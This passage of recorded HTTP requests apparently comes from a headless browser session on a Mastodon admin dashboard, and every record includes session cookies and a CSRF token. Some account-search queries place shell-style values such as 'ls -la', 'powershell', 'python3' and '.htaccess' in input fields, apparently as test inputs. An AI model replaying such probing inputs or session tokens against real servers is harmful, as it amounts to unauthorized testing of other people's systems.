_mastodon_session=0Rrsf%2BJaiWEQHLTqtATzgOCsPrkU%2FFB08mBuEHl7rb%2BmNRoEvIj3KmZwBI5hdh%2BdgitHRGdgIItTDfgI9nOph7MIvR8LUIISELVn1HaEsfULFuynvFXMkBgNiWR5SP1mqzIyuSO8UZa1JY2SWc%2Bio%2FgyR27RzoL4xzm9BZMR2lv2GhU%2FDjew357EpmrNpQPy5UcHD4zqZYx2DREWHyDVwUozh14UUm3dwrTl4JUZ6zQmwvPaF8BLDbt9o7LIio%2FhE7qHNhnC3GXxLgIEuAKiLRwYuGyOaUKEVraVbAq3Y2QrPeG1ILFjmT8EvFBtn6WSNXocWgdV%2FXY%2FIXql4%2F%2Faj2uzz1IdrEqkVPeSD9NulNb8O0WMy2%2ByKy7ODSX%2BVT1bHPkyRaoxTdjz--1kxhNi%2BFa1C88e8U--ckPUTJ5K%2FmygBBtghacHlQ%3D%3D"], "body": "{\"keys\":[\"software_versions\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":4}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 76", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODI0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f7ab90a67a6952f7f1d5ad1989bd08086f1f4e0c; _mastodon_session=xANL4MXAL%2B8jQ0MKXWOwjKoLfb0lZ94Re9x2SVWVpW4rw2pruLtjmCVV1OrU6k9%2B4NxPYJ8bUIXimjCsfjonkGp%2FiyrcdmhIHE5tZRtl4eQqgMdvgtYyVgDI7Vf6wthZjj7CpKQDz1E5ZZrMkLk2Lrm6cAnEXpXrE1KETaIcpVyiM9gw%2BD6quNfPe4LbIgctdoywpTXMfoIYUfSDmP1Yv7KgYkfDN1Up%2BbiwIbA4IzqV%2B1ZmNKAgUBEmlwZN3eAxnZaMbUAE5sj9CS%2BlqVXpwHyQFSafw5riq9qZ1cLpmEN7vCJontTSzATqHRTRNFGpYJtQfjCk57Q%2BeHzjq%2FKZbhOPlLJV3uEHyuljODCdYeLM%2F2R4O6nSThC3ymgmzVRJuzgt2FAK0gEa--3PLai5uEMhDyGs1y--M%2BKfCkDjOswV9rNGGrDtYg%3D%3D"], "body": "{\"keys\":[\"servers\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":8}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 80", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODQ5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d617689168caea22e03e92d1398023c7898b9e58; _mastodon_session=odmhqgnh0FCLI1UN7llMPXgli3cLDFKN6%2B4d1TgeF7cIKSgYYHV5Awz%2BZSHH8v3L5RdooPuEZvqnEEpLV%2Fg6L2N2XfOjRPxuvDwvuA76BWHq5VIjlo3pJBhwj%2BdOrvGCU0KB06Ruh6e6UAZHjYjimF5V74h1LNTaTwGtIeeWBfj1GUlECX2vFhfdEwCx3a9o7t133UdB0KdW38aNYusGVhLMRdqf3Ka3mwFvJMYS8yd73lAsgJK9t6fEL1mggKzbto4S5tgwhckoHaQd7BKS3S1i90l1DTCGpLH0dqbmgJqEwXTNBb02AEC%2FYR7g%2FfQnn0A%2BJ%2BtoQXCIUskH8K63MwLMUt%2B%2BG0PL0i4phMNIxUDQunywRaTZ9ssQFz%2F2RL4BGpZbv4CWdC7P--rIKTUV7YxDSsfSBV--UaNLAkVX3CzhARhMe4k79w%3D%3D"], "body": "{\"keys\":[\"space_usage\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":3}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/dimensions", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 76", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODQ5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d617689168caea22e03e92d1398023c7898b9e58; _mastodon_session=odmhqgnh0FCLI1UN7llMPXgli3cLDFKN6%2B4d1TgeF7cIKSgYYHV5Awz%2BZSHH8v3L5RdooPuEZvqnEEpLV%2Fg6L2N2XfOjRPxuvDwvuA76BWHq5VIjlo3pJBhwj%2BdOrvGCU0KB06Ruh6e6UAZHjYjimF5V74h1LNTaTwGtIeeWBfj1GUlECX2vFhfdEwCx3a9o7t133UdB0KdW38aNYusGVhLMRdqf3Ka3mwFvJMYS8yd73lAsgJK9t6fEL1mggKzbto4S5tgwhckoHaQd7BKS3S1i90l1DTCGpLH0dqbmgJqEwXTNBb02AEC%2FYR7g%2FfQnn0A%2BJ%2BtoQXCIUskH8K63MwLMUt%2B%2BG0PL0i4phMNIxUDQunywRaTZ9ssQFz%2F2RL4BGpZbv4CWdC7P--rIKTUV7YxDSsfSBV--UaNLAkVX3CzhARhMe4k79w%3D%3D"], "body": "{\"keys\":[\"sources\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\",\"limit\":8}"}
|
||||||
|
{"method": "GET", "target": "/admin/reports", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuODA0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--27c80da356ef9fe99a30374d172fe45f8057676a; _mastodon_session=3de34pjGJPXC81Mg1KttHLEorCNm9pJIAZVGHJii%2BS%2FQjIqFUIVb4cizo4Ha4cLr34tcrWe5YSqMA3UTHS5CTkfeFt4VeMU8xcbpjQIjOIlycOEmbulkfjUi850DLuSaLxZIYy%2F3ezxBwGo0gLZt6jhg7X6cvUaDpOv7RbC%2FYvm%2BpX0pC367xZH3SFeLuG9ss2DLdgvoSugHD5Nz3KOsC0h8WctDxTnA5Cg7l2Ew89jXiz7fPxzobXYBPs0sXaF6BSb7PR%2BKCqEIgDVSWA%2F1yOxlbcgXru3t67WuRMFC41nkwCwBIX2E2GoIFu97Tu5UaEBPI9niiL%2BxnYykw%2FcD7QYz0KMIR5ttr906Srp5KlkfLqysliAlnuup16dWBKe0YD%2F3cHGDztKz--AflNtJYWCNysdlia--2NdptTQdzdrNHVTqUWkzhg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/notification_policies-BXXafP0v.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/reports", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDQuMjIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7cb023017d427dc1a0ef1cfc4ce3e313c70c036e; _mastodon_session=Y9QBr3x0KWiPIvGPr6eqjHpD4t7szofsKq0MY8uVJ0G6QHEIwYr8NYSKa5%2Bnewl5IhFJjGYvX6wmmQJF9vUWtee7dhBnTgT0g8rwVNuz%2BudsO0Zvrr0XTk03RRdvFLJngKwS6x%2B9GS15KAwPzXPaeNzUrImQ2Gihl1wnfWiR4I0Gs02QymthHeuAYWuOXkj%2FhYJMNVuEf2bazoxqDvLdgtKg2s2rf6lA9guVWVB9OgSXaUVND50hIHJ2hrjvVzWWy%2FnaXAlTCTZHH9UYyj9grPqK49CLiOXyyq975nfEmqzbNi0r0edpXCzUFg7JoEgXkG%2FEsluoXrwU9KcembY3KKgk0Fpx8m6%2BtZ%2FWYf1fAycbsQU8%2F%2Bhy%2Be%2Faf1ECr13WrVe5u7IwinHS--lpHju753NjxITozv--Dpt73YoYOqDUSEhLORVgmg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/accounts", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDQuMjIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7cb023017d427dc1a0ef1cfc4ce3e313c70c036e; _mastodon_session=Y9QBr3x0KWiPIvGPr6eqjHpD4t7szofsKq0MY8uVJ0G6QHEIwYr8NYSKa5%2Bnewl5IhFJjGYvX6wmmQJF9vUWtee7dhBnTgT0g8rwVNuz%2BudsO0Zvrr0XTk03RRdvFLJngKwS6x%2B9GS15KAwPzXPaeNzUrImQ2Gihl1wnfWiR4I0Gs02QymthHeuAYWuOXkj%2FhYJMNVuEf2bazoxqDvLdgtKg2s2rf6lA9guVWVB9OgSXaUVND50hIHJ2hrjvVzWWy%2FnaXAlTCTZHH9UYyj9grPqK49CLiOXyyq975nfEmqzbNi0r0edpXCzUFg7JoEgXkG%2FEsluoXrwU9KcembY3KKgk0Fpx8m6%2BtZ%2FWYf1fAycbsQU8%2F%2Bhy%2Be%2Faf1ECr13WrVe5u7IwinHS--lpHju753NjxITozv--Dpt73YoYOqDUSEhLORVgmg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/database-D_1Mbg_g.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/accounts", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDcuMDg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b57def8fb2cbcda1094071ffca75c92d594a8143; _mastodon_session=jCvNig51jRYcPdFycizHSJU2j2xPOf5eIcaTgmcMggeLgRtVV35HLRiV%2Bgp2v9RrkKSdKFU2YW%2Fvol0iiNkKXlSTNVikMQ1aqgpHsFp9u36TlQ7nTMdyNCF9tZQuaLStCNlZY529TUm6BidXbIHzkxqs69jwfvIxiKXED4UX4vygCQzneMw%2BihSfR0OHnrmYR1LskBQVLmrerk8Xi2MKTN5wJYlK4My%2F5JHjWGSEXmS%2FLPVq2CXcjN0f80AKg55FQEoekpgYsPqUIK%2BLlFYIuRB2eDh8Sustyg%2FCID0UULx1BxJeJ36OKVb1r9gPrsHzqSwO5R6WmzIRVGcWytCbtWJ3jdF5tRjjrcmPDGnaLYHgJImO0XSzChs9eMfh%2BA6TIPYiQmYiVjzt--rlkc4UdDJScH3PCb--wQ5cFIgkqaejc35lfYn7lQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/accounts?origin=local&status=active&username=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDcuMDg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b57def8fb2cbcda1094071ffca75c92d594a8143; _mastodon_session=jCvNig51jRYcPdFycizHSJU2j2xPOf5eIcaTgmcMggeLgRtVV35HLRiV%2Bgp2v9RrkKSdKFU2YW%2Fvol0iiNkKXlSTNVikMQ1aqgpHsFp9u36TlQ7nTMdyNCF9tZQuaLStCNlZY529TUm6BidXbIHzkxqs69jwfvIxiKXED4UX4vygCQzneMw%2BihSfR0OHnrmYR1LskBQVLmrerk8Xi2MKTN5wJYlK4My%2F5JHjWGSEXmS%2FLPVq2CXcjN0f80AKg55FQEoekpgYsPqUIK%2BLlFYIuRB2eDh8Sustyg%2FCID0UULx1BxJeJ36OKVb1r9gPrsHzqSwO5R6WmzIRVGcWytCbtWJ3jdF5tRjjrcmPDGnaLYHgJImO0XSzChs9eMfh%2BA6TIPYiQmYiVjzt--rlkc4UdDJScH3PCb--wQ5cFIgkqaejc35lfYn7lQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/axios-0On1V31i.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/accounts?origin=local&status=active&username=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDkuOTI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--28817c8cccecab54ff3dd0ca359489e9721023de; _mastodon_session=UUkQGiOmzI2wyKEIFqFrnJSuvIWAx78iv6%2F%2B%2F6tFm%2FOn8sGeOTgTbNb5b0FO4HA3KblOcoxahifcm2sA5C4p2RA1n8aGGqU3pPVqIgqdLmPloNJ6c4Z1O%2BWBZ6nwm1WLKxsOZvD3%2BtPCxRUrwODm1BC1RXwYoHoiWstDE%2B5F27ShMVeJKL5SVG5ft34z8LwVtBj9sB3qIW93f3aJYiJgYgZRK%2BVSNx8Ch%2BeP2fHtmVTP8o4MjZevSaepcoK8af4QNQFz1mKehSXTiHy7oaxWrb6qWLT4vsT%2FMuv4S9dFnr39xQv3z0w%2B8uC1fFtiGJKLeAG%2FqlxrgnIv9bmXRUlYoVuzgFEDPzvTh1jIM5caR15%2FrfqfzitiaEw8Skt2E1WZlJpcpkxdFeV0--LnzBsGuJl8j%2FX23E--QPByYqL93VBeBxZhDIMO%2FQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/accounts?display_name=powershell&email=ls%20-la&ip=192.0.2.1", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDkuOTI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--28817c8cccecab54ff3dd0ca359489e9721023de; _mastodon_session=UUkQGiOmzI2wyKEIFqFrnJSuvIWAx78iv6%2F%2B%2F6tFm%2FOn8sGeOTgTbNb5b0FO4HA3KblOcoxahifcm2sA5C4p2RA1n8aGGqU3pPVqIgqdLmPloNJ6c4Z1O%2BWBZ6nwm1WLKxsOZvD3%2BtPCxRUrwODm1BC1RXwYoHoiWstDE%2B5F27ShMVeJKL5SVG5ft34z8LwVtBj9sB3qIW93f3aJYiJgYgZRK%2BVSNx8Ch%2BeP2fHtmVTP8o4MjZevSaepcoK8af4QNQFz1mKehSXTiHy7oaxWrb6qWLT4vsT%2FMuv4S9dFnr39xQv3z0w%2B8uC1fFtiGJKLeAG%2FqlxrgnIv9bmXRUlYoVuzgFEDPzvTh1jIM5caR15%2FrfqfzitiaEw8Skt2E1WZlJpcpkxdFeV0--LnzBsGuJl8j%2FX23E--QPByYqL93VBeBxZhDIMO%2FQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/accounts?username=.htaccess&by_domain=remote.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTIuNzUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f3165159685a81238dab7e25fd566b1319792fee; _mastodon_session=3JEfYokBtI4wUHoWNEpBsjanaId7O6uHT6YjeDUWRAev1A9RrJ9RKGXOH64TEsd2c0%2F960Y7yobJE6Xtq5k2iotd38em68%2Fq3ho06pnAJi6w1idUi%2BTlIs4SvhOpkkJjCLAE%2F2Re1r5MIRJV7LBx7tgC9RayhCI92ISSkI3lxaFfU3%2FfWbecprcjq2VTSbGrlrPLA4H7A2P3km%2FCXdRbR06aJS%2FOsIyxnHysthULLyzCJI0OCm1%2Bk3NGAKRJb2eewAwZ3NQTLXCUKwAXienlF2DPh%2F8k6r66oJP9MW96phGBuRNANbAB%2F7V6p6fw4nVfx21tYjCwbFMPhwZqpgsHyQ27Ik0EExTzOle9S6bQEY7kYylg386Wx6m06ri3CdfjVdsah11%2FcirM--BTxolyS%2BRxMBSqlB--1VsNDdtd8jmhz9Iw%2BYm%2FhQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/locale-D-1rLaCQ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/accounts?username=.htaccess&by_domain=remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTUuNjUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b8c4a3a7fa5365f5fc33f5bbba66423def977d22; _mastodon_session=EogjCQ5IfKpW5NvCpt35ub0nui9mSl6DV5hCyXcdSDN1F%2BHJ6dCa%2F%2FtLi%2Fb4cCHF0mrbu6nvIchV1xF9XModmKn2WBJaDrCsFPSIIHBG5EwFzRNytAxNgQktRmAriRhY4oU9naCUte6rjGeMkK%2BNAyL7XT1XyazuLJCXCaMR92Xkdg4yW5K7RsD9SrCjGnKUE3m6wYuTX6aQCuwxGCgwAMRdH8%2BENb5d449Fp2yYruol%2BB7LOmNAlGhgSrZksts0rz01fR2bf0dPlqY1%2F2wCCVCfh2ZNWmk6vpb%2BYLwtmGNQTZHtzoHGpLWgF7xG1iDQo4BxXP%2BobhXsO94NXFWwU9w%2FFjvYZPYvx4xhOMxWb3xJv3gTDUMYSplvRtNHmE5BQ%2Bim2bNvE8BM--gNZoV5JsN2IgVHa8--%2FfAwncRWoQtV14Q7s4DtAQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/instances?by_domain=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTUuNjUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b8c4a3a7fa5365f5fc33f5bbba66423def977d22; _mastodon_session=EogjCQ5IfKpW5NvCpt35ub0nui9mSl6DV5hCyXcdSDN1F%2BHJ6dCa%2F%2FtLi%2Fb4cCHF0mrbu6nvIchV1xF9XModmKn2WBJaDrCsFPSIIHBG5EwFzRNytAxNgQktRmAriRhY4oU9naCUte6rjGeMkK%2BNAyL7XT1XyazuLJCXCaMR92Xkdg4yW5K7RsD9SrCjGnKUE3m6wYuTX6aQCuwxGCgwAMRdH8%2BENb5d449Fp2yYruol%2BB7LOmNAlGhgSrZksts0rz01fR2bf0dPlqY1%2F2wCCVCfh2ZNWmk6vpb%2BYLwtmGNQTZHtzoHGpLWgF7xG1iDQo4BxXP%2BobhXsO94NXFWwU9w%2FFjvYZPYvx4xhOMxWb3xJv3gTDUMYSplvRtNHmE5BQ%2Bim2bNvE8BM--gNZoV5JsN2IgVHa8--%2FfAwncRWoQtV14Q7s4DtAQ%3D%3D"], "body": ""}
|
||||||
|
